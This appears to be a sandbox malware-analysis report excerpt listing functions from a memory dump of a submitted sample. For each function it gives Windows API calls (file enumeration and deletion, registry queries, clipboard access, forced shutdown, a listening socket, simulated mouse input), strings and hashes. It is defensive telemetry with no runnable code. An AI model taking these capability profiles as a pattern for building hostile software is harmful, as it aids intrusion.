FindFirstFileW.KERNEL32(?,?), ref: 00EB69BE
FindClose.KERNEL32(00000000), ref: 00EB6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00EB6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00EB6A75

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00EB6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EB6ADF

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00EB6B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00EB6B32
%02d, xrefs: 00EB6C00, 00EB6C0A, 00EB6C5A, 00EB6CAA, 00EB6CFA, 00EB6D4A
%03d, xrefs: 00EB6DA2
%4d, xrefs: 00EB6BB1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: cb82f0b20df9ab2a6d69cac5f7e861d4ab3a9a3de641bb088c79f84dff4de4b6
Instruction ID: 7207e7a5f80b42f7a5d6624915460cff32c8031bddc64e36fb570d1e61b40e8b
Opcode Fuzzy Hash: cb82f0b20df9ab2a6d69cac5f7e861d4ab3a9a3de641bb088c79f84dff4de4b6
Instruction Fuzzy Hash: 77D14271508300AFC714EBA4D891EAFB7ECAF88704F44591DF585E7192EB78DA48CB62

Function 00EB9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00EB9663
GetFileAttributesW.KERNEL32(?), ref: 00EB96A1
SetFileAttributesW.KERNEL32(?,?), ref: 00EB96BB
FindNextFileW.KERNEL32(00000000,?), ref: 00EB96D3
FindClose.KERNEL32(00000000), ref: 00EB96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00EB96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB974A
SetCurrentDirectoryW.KERNEL32(00F06B7C), ref: 00EB9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EB9772
FindClose.KERNEL32(00000000), ref: 00EB977F
FindClose.KERNEL32(00000000), ref: 00EB978F

Strings

*.*, xrefs: 00EB96F5

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: c5368aac009b2882671d91a76362d834c48f6f1c1e0d66220677198b6e9d288d
Instruction ID: 477f0aeabb417e520eca6b65039dc6e0fe1a440efb38c0746422e3dfc3f58c3c
Opcode Fuzzy Hash: c5368aac009b2882671d91a76362d834c48f6f1c1e0d66220677198b6e9d288d
Instruction Fuzzy Hash: 3F31D07264161A6ECB20AFB5EC48ADF77ECDF49364F205157FA04F21A1EB34D944CA50

Function 00EB979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00EB97BE
FindNextFileW.KERNEL32(00000000,?), ref: 00EB9819
FindClose.KERNEL32(00000000), ref: 00EB9824
FindFirstFileW.KERNEL32(*.*,?), ref: 00EB9840
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB9890
SetCurrentDirectoryW.KERNEL32(00F06B7C), ref: 00EB98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EB98B8
FindClose.KERNEL32(00000000), ref: 00EB98C5
FindClose.KERNEL32(00000000), ref: 00EB98D5

Part of subcall function 00EADAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00EADB00

Strings

*.*, xrefs: 00EB983B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: c2363b867b95f64ad2523ae09c5c1e8bf9863d396c5430e6cc840b6667743050
Instruction ID: ed3aba3130f830c6eb02f0d6be297807dbd4a13ef59cc3e153c186fa3e1e084a
Opcode Fuzzy Hash: c2363b867b95f64ad2523ae09c5c1e8bf9863d396c5430e6cc840b6667743050
Instruction Fuzzy Hash: 7A31F27254161A6EDB24AFB4EC48ADF77BCDF0A364F205166EA00F20A1DB30D948DB60

Function 00ECBE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00ECC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00ECB6AE,?,?), ref: 00ECC9B5
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECC9F1
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA68
Part of subcall function 00ECC998: _wcslen.LIBCMT ref: 00ECCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECBF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00ECBFA9
RegCloseKey.ADVAPI32(00000000), ref: 00ECBFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00ECC02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00ECC0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00ECC154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00ECC1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00ECC23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00ECC2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00ECC382
RegCloseKey.ADVAPI32(00000000), ref: 00ECC38F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 2318dfaef6d6b5cbde2e28ffd9d0910c8fc1ad8bd730b84cc92775ba0c9e732a
Instruction ID: 09805840f822113d2a30beb89c459f27f4a16e64c7a24afb857285d864f6af19
Opcode Fuzzy Hash: 2318dfaef6d6b5cbde2e28ffd9d0910c8fc1ad8bd730b84cc92775ba0c9e732a
Instruction Fuzzy Hash: 5B024E716042409FC714CF28D995F2ABBE5EF89318F18949DF849EB2A2D732EC46CB51

Function 00EB8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00EB8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00EB8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00EB8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00EB8310
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB8324
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00EB838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB8395

Strings

*.*, xrefs: 00EB839B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: c753f7f1a1c615a18d02a1b5ada9234e975bb21eeedf9f1e7406e780320d50e2
Instruction ID: f7ed375c8c6cad6828da5ca2b102b2d51f1c4282a4b2064a14955e08dc69fd39
Opcode Fuzzy Hash: c753f7f1a1c615a18d02a1b5ada9234e975bb21eeedf9f1e7406e780320d50e2
Instruction Fuzzy Hash: EB616A725043059FC710EF64D84099FB3EDFF89314F04591AF989A7251EB35E909CB92

Function 00EAD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E43A97,?,?,00E42E7F,?,?,?,00000000), ref: 00E43AC2

Part of subcall function 00EAE199: GetFileAttributesW.KERNEL32(?,00EACF95), ref: 00EAE19A

FindFirstFileW.KERNEL32(?,?), ref: 00EAD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00EAD1DD
MoveFileW.KERNEL32(?,?), ref: 00EAD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00EAD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EAD237

Part of subcall function 00EAD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00EAD21C,?,?), ref: 00EAD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00EAD253
FindClose.KERNEL32(00000000), ref: 00EAD264

Strings

\*.*, xrefs: 00EAD0CD, 00EAD0D6, 00EAD0EB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: ba7fc205b6547c51bcca324981bf54fa493701e81ee7fb1aaf12a549e0988d97
Instruction ID: 3cd9308bcbdbfe248c167277da91c0cb89bb5cad4f5cc9fd2ce2f6ef014fa0b8
Opcode Fuzzy Hash: ba7fc205b6547c51bcca324981bf54fa493701e81ee7fb1aaf12a549e0988d97
Instruction Fuzzy Hash: CB615D31C0610D9ECF05EBE0ED92AEDB7B5AF5A304F245165E4027B1A2EB346F09DB60

Function 00EBED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00EBED91
EmptyClipboard.USER32 ref: 00EBED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00EBEDAC
CloseClipboard.USER32 ref: 00EBEEA3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 9da623f1393b692299d7c3dbe53b0839800dcf5bfdb2a2f781dc11aca17ffbd1
Instruction ID: ded7399f6d92ae488658a5e73f8b543b15343829dab0b48a17c384bb6301141e
Opcode Fuzzy Hash: 9da623f1393b692299d7c3dbe53b0839800dcf5bfdb2a2f781dc11aca17ffbd1
Instruction Fuzzy Hash: 4D41EF30205612AFD310CF26E888B9ABBE5FF44358F24E099E425AB762C775EC41CBC0

Function 00EAE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EA170D
Part of subcall function 00EA16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00EA173A
Part of subcall function 00EA16C3: GetLastError.KERNEL32 ref: 00EA174A

ExitWindowsEx.USER32(?,00000000), ref: 00EAE932

Strings

, xrefs: 00EAE920
@, xrefs: 00EAE925
SeShutdownPrivilege, xrefs: 00EAE902
, xrefs: 00EAE95C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 4975ece6f32a3a6b1fd7ed23b818f19019c737d1c82475be0533af2deec58a2f
Instruction ID: e61f3434aae2fd4143754d1ed7b0e95a82bbdbdb8e4d2e9138c538f8ecc64f9c
Opcode Fuzzy Hash: 4975ece6f32a3a6b1fd7ed23b818f19019c737d1c82475be0533af2deec58a2f
Instruction Fuzzy Hash: 0C012632610311AFEB1422B9AC86BFB729C9B4E784F2464A2FC02FA2D1D5A07C4481A0

Function 00EC1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006), ref: 00EC1276
WSAGetLastError.WSOCK32 ref: 00EC1283
bind.WSOCK32(00000000,?,00000010), ref: 00EC12BA
WSAGetLastError.WSOCK32 ref: 00EC12C5
closesocket.WSOCK32(00000000), ref: 00EC12F4
listen.WSOCK32(00000000,00000005), ref: 00EC1303
WSAGetLastError.WSOCK32 ref: 00EC130D
closesocket.WSOCK32(00000000), ref: 00EC133C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 9d5f819410692149e0ad9b1c110e98181f675e73a8dff4899b2d38919c886681
Instruction ID: dd0dee481eea1b26f553316639560b5a868a9ee7da30f535b43d184769e20fce
Opcode Fuzzy Hash: 9d5f819410692149e0ad9b1c110e98181f675e73a8dff4899b2d38919c886681
Instruction Fuzzy Hash: A041A0356001419FD714DF24D584F29BBE5EF46318F28918DD856AF2A3C732EC86DBA1

Function 00E7B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E7B9D4
_free.LIBCMT ref: 00E7B9F8
_free.LIBCMT ref: 00E7BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00EE3700), ref: 00E7BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00F1121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00E7BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00F11270,000000FF,?,0000003F,00000000,?), ref: 00E7BC36
_free.LIBCMT ref: 00E7BD4B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 2940a3841b95e59d357ee8180379c688fd86a63c5a3889203ec01eb95dc68c27
Instruction ID: d468f0c2463efc6ff6d7f69f517233c935cf313bbbe0b12fdb3351fc60f3a14a
Opcode Fuzzy Hash: 2940a3841b95e59d357ee8180379c688fd86a63c5a3889203ec01eb95dc68c27
Instruction Fuzzy Hash: 88C12771904249AFDB21EF789C41BAABBF8EF41314F14E19AE998F7251E7308E41D750

Function 00EAD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E43A97,?,?,00E42E7F,?,?,?,00000000), ref: 00E43AC2

Part of subcall function 00EAE199: GetFileAttributesW.KERNEL32(?,00EACF95), ref: 00EAE19A

FindFirstFileW.KERNEL32(?,?), ref: 00EAD420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00EAD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EAD481
FindClose.KERNEL32(00000000), ref: 00EAD498
FindClose.KERNEL32(00000000), ref: 00EAD4A1

Strings

\*.*, xrefs: 00EAD3F2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: eda246a229c0365aa2ed2d573acdb73c9e790d6ae7833c3e1b999b590a68e9ff
Instruction ID: b05f46a3ac9404aaf104b11cddc43c038a40aebe69984c735607053de94f0c40
Opcode Fuzzy Hash: eda246a229c0365aa2ed2d573acdb73c9e790d6ae7833c3e1b999b590a68e9ff
Instruction Fuzzy Hash: E531727100D3459FC304EF64E8558AF77E8AE9A314F446A2DF4E2631A1EB30AA09D763

Function 00E7E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00E7E645

Strings

1#IND, xrefs: 00E7F83D
1#SNAN, xrefs: 00E7F844
1#QNAN, xrefs: 00E7F84B
1#INF, xrefs: 00E7F852

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c042906b44b52d05239c06e5fd8d32ccc7da0edd1f8ba3f852942a8c388dc3af
Instruction ID: 58a0f769a54dbd9bfde5d09c8e8f59e997df20bc96f32fa46e0062ab8b5b5e98
Opcode Fuzzy Hash: c042906b44b52d05239c06e5fd8d32ccc7da0edd1f8ba3f852942a8c388dc3af
Instruction Fuzzy Hash: D9C22972E086298FDB29CE28DD407EAB7B5EB49305F1491EAD44DF7241E774AE818F40

Function 00EB648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EB64DC
CoInitialize.OLE32(00000000), ref: 00EB6639
CoCreateInstance.OLE32(00EDFCF8,00000000,00000001,00EDFB68,?), ref: 00EB6650
CoUninitialize.OLE32 ref: 00EB68D4

Strings

.lnk, xrefs: 00EB64BA, 00EB6524, 00EB65E0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: fe8ef9693371eac7437e0c73065c1cd0df05249df03aa415dcaf6ff40f9835b7
Instruction ID: 02cd940b522b5d10f01e5dbef5662dde1e220d0bf1849d1a1ec407f7d4b10e2c
Opcode Fuzzy Hash: fe8ef9693371eac7437e0c73065c1cd0df05249df03aa415dcaf6ff40f9835b7
Instruction Fuzzy Hash: C7D159716093019FC314EF24D881DABB7E8FF98304F14596DF595AB2A2DB31E909CB92

Function 00EC22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00EC22E8

Part of subcall function 00EBE4EC: GetWindowRect.USER32(?,?), ref: 00EBE504

GetDesktopWindow.USER32 ref: 00EC2312
GetWindowRect.USER32(00000000), ref: 00EC2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00EC2355
GetCursorPos.USER32(?), ref: 00EC2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00EC23DF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 37a9a07ca519b937aa0d9ffbd10db3a1f52df991e58420d3fe5b8ab4b589edb2
Instruction ID: c8e071173daab4885897037d8360d8b41836da500d2418ea1a607264b72aa621
Opcode Fuzzy Hash: 37a9a07ca519b937aa0d9ffbd10db3a1f52df991e58420d3fe5b8ab4b589edb2
Instruction Fuzzy Hash: 2031DE72105346AFCB20DF19D904F9BB7A9FB88714F10191EF984A7181DA35E909CB92

Function 00EB9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00EB9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00EB9C8B

Part of subcall function 00EB3874: GetInputState.USER32 ref: 00EB38CB
Part of subcall function 00EB3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EB3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00EB9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00EB9C75

Strings

*.*, xrefs: 00EB9B5D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
